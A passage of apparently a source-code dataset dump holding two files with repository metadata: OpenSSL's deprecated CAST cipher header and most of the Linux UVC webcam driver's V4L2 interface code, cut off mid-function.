"Apache-2.0",
"OpenSSL",
"LicenseRef-scancode-proprietary-license"
] |
permissive
|
openssl/openssl
|
75691ebaae957793f2ff0673f77545277dfb3988
|
5318c012885a5382eadbf95aa9c1d35664bca819
|
refs/heads/master
| 2023-09-03T15:22:52.727123
| 2023-09-01T07:10:49
| 2023-09-02T14:30:01
| 7,634,677
| 24,148
| 11,569
|
Apache-2.0
| 2023-09-14T19:48:11
| 2013-01-15T22:34:48
|
C
|
UTF-8
|
C
| false
| false
| 2,066
|
h
|
cast.h
|
/*
* Copyright 1995-2020 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the Apache License 2.0 (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#ifndef OPENSSL_CAST_H
# define OPENSSL_CAST_H
# pragma once
# include <openssl/macros.h>
# ifndef OPENSSL_NO_DEPRECATED_3_0
# define HEADER_CAST_H
# endif
# include <openssl/opensslconf.h>
# ifndef OPENSSL_NO_CAST
# ifdef __cplusplus
extern "C" {
# endif
# define CAST_BLOCK 8
# define CAST_KEY_LENGTH 16
# ifndef OPENSSL_NO_DEPRECATED_3_0
# define CAST_ENCRYPT 1
# define CAST_DECRYPT 0
# define CAST_LONG unsigned int
typedef struct cast_key_st {
CAST_LONG data[32];
int short_key; /* Use reduced rounds for short key */
} CAST_KEY;
# endif /* OPENSSL_NO_DEPRECATED_3_0 */
# ifndef OPENSSL_NO_DEPRECATED_3_0
OSSL_DEPRECATEDIN_3_0
void CAST_set_key(CAST_KEY *key, int len, const unsigned char *data);
OSSL_DEPRECATEDIN_3_0
void CAST_ecb_encrypt(const unsigned char *in, unsigned char *out,
const CAST_KEY *key, int enc);
OSSL_DEPRECATEDIN_3_0
void CAST_encrypt(CAST_LONG *data, const CAST_KEY *key);
OSSL_DEPRECATEDIN_3_0
void CAST_decrypt(CAST_LONG *data, const CAST_KEY *key);
OSSL_DEPRECATEDIN_3_0
void CAST_cbc_encrypt(const unsigned char *in, unsigned char *out,
long length, const CAST_KEY *ks, unsigned char *iv,
int enc);
OSSL_DEPRECATEDIN_3_0
void CAST_cfb64_encrypt(const unsigned char *in, unsigned char *out,
long length, const CAST_KEY *schedule,
unsigned char *ivec, int *num, int enc);
OSSL_DEPRECATEDIN_3_0
void CAST_ofb64_encrypt(const unsigned char *in, unsigned char *out,
long length, const CAST_KEY *schedule,
unsigned char *ivec, int *num);
# endif
# ifdef __cplusplus
}
# endif
# endif
#endif
|
c2913fa565b67c47b81f1965f3676df86deaaa9c
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/drivers/media/usb/uvc/uvc_v4l2.c
|
b2dc32623a71f239e2ab914acba6d99b84708bc8
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 32,867
|
c
|
uvc_v4l2.c
|
/*
* uvc_v4l2.c -- USB Video Class driver - V4L2 API
*
* Copyright (C) 2005-2010
* Laurent Pinchart (laurent.pinchart@ideasonboard.com)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
*/
#include <linux/compat.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/list.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/usb.h>
#include <linux/videodev2.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <linux/wait.h>
#include <linux/atomic.h>
#include <media/v4l2-common.h>
#include <media/v4l2-ctrls.h>
#include <media/v4l2-event.h>
#include <media/v4l2-ioctl.h>
#include "uvcvideo.h"
/* ------------------------------------------------------------------------
* UVC ioctls
*/
static int uvc_ioctl_ctrl_map(struct uvc_video_chain *chain,
struct uvc_xu_control_mapping *xmap)
{
struct uvc_control_mapping *map;
unsigned int size;
int ret;
map = kzalloc(sizeof *map, GFP_KERNEL);
if (map == NULL)
return -ENOMEM;
map->id = xmap->id;
memcpy(map->name, xmap->name, sizeof map->name);
memcpy(map->entity, xmap->entity, sizeof map->entity);
map->selector = xmap->selector;
map->size = xmap->size;
map->offset = xmap->offset;
map->v4l2_type = xmap->v4l2_type;
map->data_type = xmap->data_type;
switch (xmap->v4l2_type) {
case V4L2_CTRL_TYPE_INTEGER:
case V4L2_CTRL_TYPE_BOOLEAN:
case V4L2_CTRL_TYPE_BUTTON:
break;
case V4L2_CTRL_TYPE_MENU:
/* Prevent excessive memory consumption, as well as integer
* overflows.
*/
if (xmap->menu_count == 0 ||
xmap->menu_count > UVC_MAX_CONTROL_MENU_ENTRIES) {
ret = -EINVAL;
goto done;
}
size = xmap->menu_count * sizeof(*map->menu_info);
map->menu_info = kmalloc(size, GFP_KERNEL);
if (map->menu_info == NULL) {
ret = -ENOMEM;
goto done;
}
if (copy_from_user(map->menu_info, xmap->menu_info, size)) {
ret = -EFAULT;
goto done;
}
map->menu_count = xmap->menu_count;
break;
default:
uvc_trace(UVC_TRACE_CONTROL, "Unsupported V4L2 control type "
"%u.\n", xmap->v4l2_type);
ret = -ENOTTY;
goto done;
}
ret = uvc_ctrl_add_mapping(chain, map);
done:
kfree(map->menu_info);
kfree(map);
return ret;
}
/* ------------------------------------------------------------------------
* V4L2 interface
*/
/*
* Find the frame interval closest to the requested frame interval for the
* given frame format and size. This should be done by the device as part of
* the Video Probe and Commit negotiation, but some hardware don't implement
* that feature.
*/
static __u32 uvc_try_frame_interval(struct uvc_frame *frame, __u32 interval)
{
unsigned int i;
if (frame->bFrameIntervalType) {
__u32 best = -1, dist;
for (i = 0; i < frame->bFrameIntervalType; ++i) {
dist = interval > frame->dwFrameInterval[i]
? interval - frame->dwFrameInterval[i]
: frame->dwFrameInterval[i] - interval;
if (dist > best)
break;
best = dist;
}
interval = frame->dwFrameInterval[i-1];
} else {
const __u32 min = frame->dwFrameInterval[0];
const __u32 max = frame->dwFrameInterval[1];
const __u32 step = frame->dwFrameInterval[2];
interval = min + (interval - min + step/2) / step * step;
if (interval > max)
interval = max;
}
return interval;
}
static int uvc_v4l2_try_format(struct uvc_streaming *stream,
struct v4l2_format *fmt, struct uvc_streaming_control *probe,
struct uvc_format **uvc_format, struct uvc_frame **uvc_frame)
{
struct uvc_format *format = NULL;
struct uvc_frame *frame = NULL;
__u16 rw, rh;
unsigned int d, maxd;
unsigned int i;
__u32 interval;
int ret = 0;
__u8 *fcc;
if (fmt->type != stream->type)
return -EINVAL;
fcc = (__u8 *)&fmt->fmt.pix.pixelformat;
uvc_trace(UVC_TRACE_FORMAT, "Trying format 0x%08x (%c%c%c%c): %ux%u.\n",
fmt->fmt.pix.pixelformat,
fcc[0], fcc[1], fcc[2], fcc[3],
fmt->fmt.pix.width, fmt->fmt.pix.height);
/* Check if the hardware supports the requested format, use the default
* format otherwise.
*/
for (i = 0; i < stream->nformats; ++i) {
format = &stream->format[i];
if (format->fcc == fmt->fmt.pix.pixelformat)
break;
}
if (i == stream->nformats) {
format = stream->def_format;
fmt->fmt.pix.pixelformat = format->fcc;
}
/* Find the closest image size. The distance between image sizes is
* the size in pixels of the non-overlapping regions between the
* requested size and the frame-specified size.
*/
rw = fmt->fmt.pix.width;
rh = fmt->fmt.pix.height;
maxd = (unsigned int)-1;
for (i = 0; i < format->nframes; ++i) {
__u16 w = format->frame[i].wWidth;
__u16 h = format->frame[i].wHeight;
d = min(w, rw) * min(h, rh);
d = w*h + rw*rh - 2*d;
if (d < maxd) {
maxd = d;
frame = &format->frame[i];
}
if (maxd == 0)
break;
}
if (frame == NULL) {
uvc_trace(UVC_TRACE_FORMAT, "Unsupported size %ux%u.\n",
fmt->fmt.pix.width, fmt->fmt.pix.height);
return -EINVAL;
}
/* Use the default frame interval. */
interval = frame->dwDefaultFrameInterval;
uvc_trace(UVC_TRACE_FORMAT, "Using default frame interval %u.%u us "
"(%u.%u fps).\n", interval/10, interval%10, 10000000/interval,
(100000000/interval)%10);
/* Set the format index, frame index and frame interval. */
memset(probe, 0, sizeof *probe);
probe->bmHint = 1; /* dwFrameInterval */
probe->bFormatIndex = format->index;
probe->bFrameIndex = frame->bFrameIndex;
probe->dwFrameInterval = uvc_try_frame_interval(frame, interval);
/* Some webcams stall the probe control set request when the
* dwMaxVideoFrameSize field is set to zero. The UVC specification
* clearly states that the field is read-only from the host, so this
* is a webcam bug. Set dwMaxVideoFrameSize to the value reported by
* the webcam to work around the problem.
*
* The workaround could probably be enabled for all webcams, so the
* quirk can be removed if needed. It's currently useful to detect
* webcam bugs and fix them before they hit the market (providing
* developers test their webcams with the Linux driver as well as with
* the Windows driver).
*/
mutex_lock(&stream->mutex);
if (stream->dev->quirks & UVC_QUIRK_PROBE_EXTRAFIELDS)
probe->dwMaxVideoFrameSize =
stream->ctrl.dwMaxVideoFrameSize;
/* Probe the device. */
ret = uvc_probe_video(stream, probe);
mutex_unlock(&stream->mutex);
if (ret < 0)
goto done;
fmt->fmt.pix.width = frame->wWidth;
fmt->fmt.pix.height = frame->wHeight;
fmt->fmt.pix.field = V4L2_FIELD_NONE;
fmt->fmt.pix.bytesperline = format->bpp * frame->wWidth / 8;
fmt->fmt.pix.sizeimage = probe->dwMaxVideoFrameSize;
fmt->fmt.pix.colorspace = format->colorspace;
fmt->fmt.pix.priv = 0;
if (uvc_format != NULL)
*uvc_format = format;
if (uvc_frame != NULL)
*uvc_frame = frame;
done:
return ret;
}
static int uvc_v4l2_get_format(struct uvc_streaming *stream,
struct v4l2_format *fmt)
{
struct uvc_format *format;
struct uvc_frame *frame;
int ret = 0;
if (fmt->type != stream->type)
return -EINVAL;
mutex_lock(&stream->mutex);
format = stream->cur_format;
frame = stream->cur_frame;
if (format == NULL || frame == NULL) {
ret = -EINVAL;
goto done;
}
fmt->fmt.pix.pixelformat = format->fcc;
fmt->fmt.pix.width = frame->wWidth;
fmt->fmt.pix.height = frame->wHeight;
fmt->fmt.pix.field = V4L2_FIELD_NONE;
fmt->fmt.pix.bytesperline = format->bpp * frame->wWidth / 8;
fmt->fmt.pix.sizeimage = stream->ctrl.dwMaxVideoFrameSize;
fmt->fmt.pix.colorspace = format->colorspace;
fmt->fmt.pix.priv = 0;
done:
mutex_unlock(&stream->mutex);
return ret;
}
static int uvc_v4l2_set_format(struct uvc_streaming *stream,
struct v4l2_format *fmt)
{
struct uvc_streaming_control probe;
struct uvc_format *format;
struct uvc_frame *frame;
int ret;
if (fmt->type != stream->type)
return -EINVAL;
ret = uvc_v4l2_try_format(stream, fmt, &probe, &format, &frame);
if (ret < 0)
return ret;
mutex_lock(&stream->mutex);
if (uvc_queue_allocated(&stream->queue)) {
ret = -EBUSY;
goto done;
}
stream->ctrl = probe;
stream->cur_format = format;
stream->cur_frame = frame;
done:
mutex_unlock(&stream->mutex);
return ret;
}
static int uvc_v4l2_get_streamparm(struct uvc_streaming *stream,
struct v4l2_streamparm *parm)
{
uint32_t numerator, denominator;
if (parm->type != stream->type)
return -EINVAL;
mutex_lock(&stream->mutex);
numerator = stream->ctrl.dwFrameInterval;
mutex_unlock(&stream->mutex);
denominator = 10000000;
uvc_simplify_fraction(&numerator, &denominator, 8, 333);
memset(parm, 0, sizeof *parm);
parm->type = stream->type;
if (stream->type == V4L2_BUF_TYPE_VIDEO_CAPTURE) {
parm->parm.capture.capability = V4L2_CAP_TIMEPERFRAME;
parm->parm.capture.capturemode = 0;
parm->parm.capture.timeperframe.numerator = numerator;
parm->parm.capture.timeperframe.denominator = denominator;
parm->parm.capture.extendedmode = 0;
parm->parm.capture.readbuffers = 0;
} else {
parm->parm.output.capability = V4L2_CAP_TIMEPERFRAME;
parm->parm.output.outputmode = 0;
parm->parm.output.timeperframe.numerator = numerator;
parm->parm.output.timeperframe.denominator = denominator;
}
return 0;
}
static int uvc_v4l2_set_streamparm(struct uvc_streaming *stream,
struct v4l2_streamparm *parm)
{
struct uvc_streaming_control probe;
struct v4l2_fract timeperframe;
uint32_t interval;
int ret;
if (parm->type != stream->type)
return -EINVAL;
if (parm->type == V4L2_BUF_TYPE_VIDEO_CAPTURE)
timeperframe = parm->parm.capture.timeperframe;
else
timeperframe = parm->parm.output.timeperframe;
interval = uvc_fraction_to_interval(timeperframe.numerator,
timeperframe.denominator);
uvc_trace(UVC_TRACE_FORMAT, "Setting frame interval to %u/%u (%u).\n",
timeperframe.numerator, timeperframe.denominator, interval);
mutex_lock(&stream->mutex);
if (uvc_queue_streaming(&stream->queue)) {
mutex_unlock(&stream->mutex);
return -EBUSY;
}
probe = stream->ctrl;
probe.dwFrameInterval =
uvc_try_frame_interval(stream->cur_frame, interval);
/* Probe the device with the new settings. */
ret = uvc_probe_video(stream, &probe);
if (ret < 0) {
mutex_unlock(&stream->mutex);
return ret;
}
stream->ctrl = probe;
mutex_unlock(&stream->mutex);
/* Return the actual frame period. */
timeperframe.numerator = probe.dwFrameInterval;
timeperframe.denominator = 10000000;
uvc_simplify_fraction(&timeperframe.numerator,
&timeperframe.denominator, 8, 333);
if (parm->type == V4L2_BUF_TYPE_VIDEO_CAPTURE)
parm->parm.capture.timeperframe = timeperframe;
else
parm->parm.output.timeperframe = timeperframe;
return 0;
}
/* ------------------------------------------------------------------------
* Privilege management
*/
/*
* Privilege management is the multiple-open implementation basis. The current
* implementation is completely transparent for the end-user and doesn't
* require explicit use of the VIDIOC_G_PRIORITY and VIDIOC_S_PRIORITY ioctls.
* Those ioctls enable finer control on the device (by making possible for a
* user to request exclusive access to a device), but are not mature yet.
* Switching to the V4L2 priority mechanism might be considered in the future
* if this situation changes.
*
* Each open instance of a UVC device can either be in a privileged or
* unprivileged state. Only a single instance can be in a privileged state at
* a given time. Trying to perform an operation that requires privileges will
* automatically acquire the required privileges if possible, or return -EBUSY
* otherwise. Privileges are dismissed when closing the instance or when
* freeing the video buffers using VIDIOC_REQBUFS.
*
* Operations that require privileges are:
*
* - VIDIOC_S_INPUT
* - VIDIOC_S_PARM
* - VIDIOC_S_FMT
* - VIDIOC_REQBUFS
*/
static int uvc_acquire_privileges(struct uvc_fh *handle)
{
/* Always succeed if the handle is already privileged. */
if (handle->state == UVC_HANDLE_ACTIVE)
return 0;
/* Check if the device already has a privileged handle. */
if (atomic_inc_return(&handle->stream->active) != 1) {
atomic_dec(&handle->stream->active);
return -EBUSY;
}
handle->state = UVC_HANDLE_ACTIVE;
return 0;
}
static void uvc_dismiss_privileges(struct uvc_fh *handle)
{
if (handle->state == UVC_HANDLE_ACTIVE)
atomic_dec(&handle->stream->active);
handle->state = UVC_HANDLE_PASSIVE;
}
static int uvc_has_privileges(struct uvc_fh *handle)
{
return handle->state == UVC_HANDLE_ACTIVE;
}
/* ------------------------------------------------------------------------
* V4L2 file operations
*/
static int uvc_v4l2_open(struct file *file)
{
struct uvc_streaming *stream;
struct uvc_fh *handle;
int ret = 0;
uvc_trace(UVC_TRACE_CALLS, "uvc_v4l2_open\n");
stream = video_drvdata(file);
if (stream->dev->state & UVC_DEV_DISCONNECTED)
return -ENODEV;
ret = usb_autopm_get_interface(stream->dev->intf);
if (ret < 0)
return ret;
/* Create the device handle. */
handle = kzalloc(sizeof *handle, GFP_KERNEL);
if (handle == NULL) {
usb_autopm_put_interface(stream->dev->intf);
return -ENOMEM;
}
if (atomic_inc_return(&stream->dev->users) == 1) {
ret = uvc_status_start(stream->dev);
if (ret < 0) {
atomic_dec(&stream->dev->users);
usb_autopm_put_interface(stream->dev->intf);
kfree(handle);
return ret;
}
}
v4l2_fh_init(&handle->vfh, stream->vdev);
v4l2_fh_add(&handle->vfh);
handle->chain = stream->chain;
handle->stream = stream;
handle->state = UVC_HANDLE_PASSIVE;
file->private_data = handle;
return 0;
}
static int uvc_v4l2_release(struct file *file)
{
struct uvc_fh *handle = file->private_data;
struct uvc_streaming *stream = handle->stream;
uvc_trace(UVC_TRACE_CALLS, "uvc_v4l2_release\n");
/* Only free resources if this is a privileged handle. */
if (uvc_has_privileges(handle)) {
uvc_video_enable(stream, 0);
uvc_free_buffers(&stream->queue);
}
/* Release the file handle. */
uvc_dismiss_privileges(handle);
v4l2_fh_del(&handle->vfh);
v4l2_fh_exit(&handle->vfh);
kfree(handle);
file->private_data = NULL;
if (atomic_dec_return(&stream->dev->users) == 0)
uvc_status_stop(stream->dev);
usb_autopm_put_interface(stream->dev->intf);
return 0;
}
static long uvc_v4l2_do_ioctl(struct file *file, unsigned int cmd, void *arg)
{
struct video_device *vdev = video_devdata(file);
struct uvc_fh *handle = file->private_data;
struct uvc_video_chain *chain = handle->chain;
struct uvc_streaming *stream = handle->stream;
long ret = 0;
switch (cmd) {
/* Query capabilities */
case VIDIOC_QUERYCAP:
{
struct v4l2_capability *cap = arg;
memset(cap, 0, sizeof *cap);
strlcpy(cap->driver, "uvcvideo", sizeof cap->driver);
strlcpy(cap->card, vdev->name, sizeof cap->card);
usb_make_path(stream->dev->udev,
cap->bus_info, sizeof(cap->bus_info));
cap->version = LINUX_VERSION_CODE;
cap->capabilities = V4L2_CAP_DEVICE_CAPS | V4L2_CAP_STREAMING
| chain->caps;
if (stream->type == V4L2_BUF_TYPE_VIDEO_CAPTURE)
cap->device_caps = V4L2_CAP_VIDEO_CAPTURE
| V4L2_CAP_STREAMING;
else
cap->device_caps = V4L2_CAP_VIDEO_OUTPUT
| V4L2_CAP_STREAMING;
break;
}
/* Priority */
case VIDIOC_G_PRIORITY:
*(u32 *)arg = v4l2_prio_max(vdev->prio);
break;
case VIDIOC_S_PRIORITY:
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
return v4l2_prio_change(vdev->prio, &handle->vfh.prio,
*(u32 *)arg);
/* Get, Set & Query control */
case VIDIOC_QUERYCTRL:
return uvc_query_v4l2_ctrl(chain, arg);
case VIDIOC_G_CTRL:
{
struct v4l2_control *ctrl = arg;
struct v4l2_ext_control xctrl;
memset(&xctrl, 0, sizeof xctrl);
xctrl.id = ctrl->id;
ret = uvc_ctrl_begin(chain);
if (ret < 0)
return ret;
ret = uvc_ctrl_get(chain, &xctrl);
uvc_ctrl_rollback(handle);
if (ret >= 0)
ctrl->value = xctrl.value;
break;
}
case VIDIOC_S_CTRL:
{
struct v4l2_control *ctrl = arg;
struct v4l2_ext_control xctrl;
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
memset(&xctrl, 0, sizeof xctrl);
xctrl.id = ctrl->id;
xctrl.value = ctrl->value;
ret = uvc_ctrl_begin(chain);
if (ret < 0)
return ret;
ret = uvc_ctrl_set(chain, &xctrl);
if (ret < 0) {
uvc_ctrl_rollback(handle);
return ret;
}
ret = uvc_ctrl_commit(handle, &xctrl, 1);
if (ret == 0)
ctrl->value = xctrl.value;
break;
}
case VIDIOC_QUERYMENU:
return uvc_query_v4l2_menu(chain, arg);
case VIDIOC_G_EXT_CTRLS:
{
struct v4l2_ext_controls *ctrls = arg;
struct v4l2_ext_control *ctrl = ctrls->controls;
unsigned int i;
ret = uvc_ctrl_begin(chain);
if (ret < 0)
return ret;
for (i = 0; i < ctrls->count; ++ctrl, ++i) {
ret = uvc_ctrl_get(chain, ctrl);
if (ret < 0) {
uvc_ctrl_rollback(handle);
ctrls->error_idx = i;
return ret;
}
}
ctrls->error_idx = 0;
ret = uvc_ctrl_rollback(handle);
break;
}
case VIDIOC_S_EXT_CTRLS:
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
/* Fall through */
case VIDIOC_TRY_EXT_CTRLS:
{
struct v4l2_ext_controls *ctrls = arg;
struct v4l2_ext_control *ctrl = ctrls->controls;
unsigned int i;
ret = uvc_ctrl_begin(chain);
if (ret < 0)
return ret;
for (i = 0; i < ctrls->count; ++ctrl, ++i) {
ret = uvc_ctrl_set(chain, ctrl);
if (ret < 0) {
uvc_ctrl_rollback(handle);
ctrls->error_idx = cmd == VIDIOC_S_EXT_CTRLS
? ctrls->count : i;
return ret;
}
}
ctrls->error_idx = 0;
if (cmd == VIDIOC_S_EXT_CTRLS)
ret = uvc_ctrl_commit(handle,
ctrls->controls, ctrls->count);
else
ret = uvc_ctrl_rollback(handle);
break;
}
/* Get, Set & Enum input */
case VIDIOC_ENUMINPUT:
{
const struct uvc_entity *selector = chain->selector;
struct v4l2_input *input = arg;
struct uvc_entity *iterm = NULL;
u32 index = input->index;
int pin = 0;
if (selector == NULL ||
(chain->dev->quirks & UVC_QUIRK_IGNORE_SELECTOR_UNIT)) {
if (index != 0)
return -EINVAL;
list_for_each_entry(iterm, &chain->entities, chain) {
if (UVC_ENTITY_IS_ITERM(iterm))
break;
}
pin = iterm->id;
} else if (index < selector->bNrInPins) {
pin = selector->baSourceID[index];
list_for_each_entry(iterm, &chain->entities, chain) {
if (!UVC_ENTITY_IS_ITERM(iterm))
continue;
if (iterm->id == pin)
break;
}
}
if (iterm == NULL || iterm->id != pin)
return -EINVAL;
memset(input, 0, sizeof *input);
input->index = index;
strlcpy(input->name, iterm->name, sizeof input->name);
if (UVC_ENTITY_TYPE(iterm) == UVC_ITT_CAMERA)
input->type = V4L2_INPUT_TYPE_CAMERA;
break;
}
case VIDIOC_G_INPUT:
{
u8 input;
if (chain->selector == NULL ||
(chain->dev->quirks & UVC_QUIRK_IGNORE_SELECTOR_UNIT)) {
*(int *)arg = 0;
break;
}
ret = uvc_query_ctrl(chain->dev, UVC_GET_CUR,
chain->selector->id, chain->dev->intfnum,
UVC_SU_INPUT_SELECT_CONTROL, &input, 1);
if (ret < 0)
return ret;
*(int *)arg = input - 1;
break;
}
case VIDIOC_S_INPUT:
{
u32 input = *(u32 *)arg + 1;
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
if ((ret = uvc_acquire_privileges(handle)) < 0)
return ret;
if (chain->selector == NULL ||
(chain->dev->quirks & UVC_QUIRK_IGNORE_SELECTOR_UNIT)) {
if (input != 1)
return -EINVAL;
break;
}
if (input == 0 || input > chain->selector->bNrInPins)
return -EINVAL;
return uvc_query_ctrl(chain->dev, UVC_SET_CUR,
chain->selector->id, chain->dev->intfnum,
UVC_SU_INPUT_SELECT_CONTROL, &input, 1);
}
/* Try, Get, Set & Enum format */
case VIDIOC_ENUM_FMT:
{
struct v4l2_fmtdesc *fmt = arg;
struct uvc_format *format;
enum v4l2_buf_type type = fmt->type;
__u32 index = fmt->index;
if (fmt->type != stream->type ||
fmt->index >= stream->nformats)
return -EINVAL;
memset(fmt, 0, sizeof(*fmt));
fmt->index = index;
fmt->type = type;
format = &stream->format[fmt->index];
fmt->flags = 0;
if (format->flags & UVC_FMT_FLAG_COMPRESSED)
fmt->flags |= V4L2_FMT_FLAG_COMPRESSED;
strlcpy(fmt->description, format->name,
sizeof fmt->description);
fmt->description[sizeof fmt->description - 1] = 0;
fmt->pixelformat = format->fcc;
break;
}
case VIDIOC_TRY_FMT:
{
struct uvc_streaming_control probe;
return uvc_v4l2_try_format(stream, arg, &probe, NULL, NULL);
}
case VIDIOC_S_FMT:
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
if ((ret = uvc_acquire_privileges(handle)) < 0)
return ret;
return uvc_v4l2_set_format(stream, arg);
case VIDIOC_G_FMT:
return uvc_v4l2_get_format(stream, arg);
/* Frame size enumeration */
case VIDIOC_ENUM_FRAMESIZES:
{
struct v4l2_frmsizeenum *fsize = arg;
struct uvc_format *format = NULL;
struct uvc_frame *frame;
int i;
/* Look for the given pixel format */
for (i = 0; i < stream->nformats; i++) {
if (stream->format[i].fcc ==
fsize->pixel_format) {
format = &stream->format[i];
break;
}
}
if (format == NULL)
return -EINVAL;
if (fsize->index >= format->nframes)
return -EINVAL;
frame = &format->frame[fsize->index];
fsize->type = V4L2_FRMSIZE_TYPE_DISCRETE;
fsize->discrete.width = frame->wWidth;
fsize->discrete.height = frame->wHeight;
break;
}
/* Frame interval enumeration */
case VIDIOC_ENUM_FRAMEINTERVALS:
{
struct v4l2_frmivalenum *fival = arg;
struct uvc_format *format = NULL;
struct uvc_frame *frame = NULL;
int i;
/* Look for the given pixel format and frame size */
for (i = 0; i < stream->nformats; i++) {
if (stream->format[i].fcc ==
fival->pixel_format) {
format = &stream->format[i];
break;
}
}
if (format == NULL)
return -EINVAL;
for (i = 0; i < format->nframes; i++) {
if (format->frame[i].wWidth == fival->width &&
format->frame[i].wHeight == fival->height) {
frame = &format->frame[i];
break;
}
}
if (frame == NULL)
return -EINVAL;
if (frame->bFrameIntervalType) {
if (fival->index >= frame->bFrameIntervalType)
return -EINVAL;
fival->type = V4L2_FRMIVAL_TYPE_DISCRETE;
fival->discrete.numerator =
frame->dwFrameInterval[fival->index];
fival->discrete.denominator = 10000000;
uvc_simplify_fraction(&fival->discrete.numerator,
&fival->discrete.denominator, 8, 333);
} else {
fival->type = V4L2_FRMIVAL_TYPE_STEPWISE;
fival->stepwise.min.numerator =
frame->dwFrameInterval[0];
fival->stepwise.min.denominator = 10000000;
fival->stepwise.max.numerator =
frame->dwFrameInterval[1];
fival->stepwise.max.denominator = 10000000;
fival->stepwise.step.numerator =
frame->dwFrameInterval[2];
fival->stepwise.step.denominator = 10000000;
uvc_simplify_fraction(&fival->stepwise.min.numerator,
&fival->stepwise.min.denominator, 8, 333);
uvc_simplify_fraction(&fival->stepwise.max.numerator,
&fival->stepwise.max.denominator, 8, 333);
uvc_simplify_fraction(&fival->stepwise.step.numerator,
&fival->stepwise.step.denominator, 8, 333);
}
break;
}
/* Get & Set streaming parameters */
case VIDIOC_G_PARM:
return uvc_v4l2_get_streamparm(stream, arg);
case VIDIOC_S_PARM:
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
if ((ret = uvc_acquire_privileges(handle)) < 0)
return ret;
return uvc_v4l2_set_streamparm(stream, arg);
/* Cropping and scaling */
case VIDIOC_CROPCAP:
{
struct v4l2_cropcap *ccap = arg;
if (ccap->type != stream->type)
return -EINVAL;
ccap->bounds.left = 0;
ccap->bounds.top = 0;
mutex_lock(&stream->mutex);
ccap->bounds.width = stream->cur_frame->wWidth;
ccap->bounds.height = stream->cur_frame->wHeight;
mutex_unlock(&stream->mutex);
ccap->defrect = ccap->bounds;
ccap->pixelaspect.numerator = 1;
ccap->pixelaspect.denominator = 1;
break;
}
case VIDIOC_G_CROP:
case VIDIOC_S_CROP:
return -ENOTTY;
/* Buffers & streaming */
case VIDIOC_REQBUFS:
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
if ((ret = uvc_acquire_privileges(handle)) < 0)
return ret;
mutex_lock(&stream->mutex);
ret = uvc_alloc_buffers(&stream->queue, arg);
mutex_unlock(&stream->mutex);
if (ret < 0)
return ret;
if (ret == 0)
uvc_dismiss_privileges(handle);
ret = 0;
break;
case VIDIOC_QUERYBUF:
{
struct v4l2_buffer *buf = arg;
if (!uvc_has_privileges(handle))
return -EBUSY;
return uvc_query_buffer(&stream->queue, buf);
}
case VIDIOC_QBUF:
if (!uvc_has_privileges(handle))
return -EBUSY;
return uvc_queue_buffer(&stream->queue, arg);
case VIDIOC_DQBUF:
if (!uvc_has_privileges(handle))
return -EBUSY;
return uvc_dequeue_buffer(&stream->queue, arg,
file->f_flags & O_NONBLOCK);
case VIDIOC_STREAMON:
{
int *type = arg;
if (*type != stream->type)
return -EINVAL;
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
if (!uvc_has_privileges(handle))
return -EBUSY;
mutex_lock(&stream->mutex);
ret = uvc_video_enable(stream, 1);
mutex_unlock(&stream->mutex);
if (ret < 0)
return ret;
break;
}
case VIDIOC_STREAMOFF:
{
int *type = arg;
if (*type != stream->type)
return -EINVAL;
ret = v4l2_prio_check(vdev->prio, handle->vfh.prio);
if (ret < 0)
return ret;
if (!uvc_has_privileges(handle))
return -EBUSY;
return uvc_video_enable(stream, 0);
}
case VIDIOC_SUBSCRIBE_EVENT:
{
struct v4l2_event_subscription *sub = arg;
switch (sub->type) {
case V4L2_EVENT_CTRL:
return v4l2_event_subscribe(&handle->vfh, sub, 0,
&uvc_ctrl_sub_ev_ops);
default:
return -EINVAL;
}
}
case VIDIOC_UNSUBSCRIBE_EVENT:
return v4l2_event_unsubscribe(&handle->vfh, arg);
case VIDIOC_DQEVENT:
return v4l2_event_dequeue(&handle->vfh, arg,
file->f_flags & O_NONBLOCK);
/* Analog video standards make no sense for digital cameras. */
case VIDIOC_ENUMSTD:
case VIDIOC_QUERYSTD:
case VIDIOC_G_STD:
case VIDIOC_S_STD:
case VIDIOC_OVERLAY:
case VIDIOC_ENUMAUDIO:
case VIDIOC_ENUMAUDOUT:
case VIDIOC_ENUMOUTPUT:
uvc_trace(UVC_TRACE_IOCTL, "Unsupported ioctl 0x%08x\n", cmd);
return -ENOTTY;
case UVCIOC_CTRL_MAP:
return uvc_ioctl_ctrl_map(chain, arg);
case UVCIOC_CTRL_QUERY:
return uvc_xu_ctrl_query(chain, arg);
default:
uvc_trace(UVC_TRACE_IOCTL, "Unknown ioctl 0x%08x\n", cmd);
return -ENOTTY;
}
return ret;
}
static long uvc_v4l2_ioctl(struct file *file,
unsigned int cmd, unsigned long arg)
{
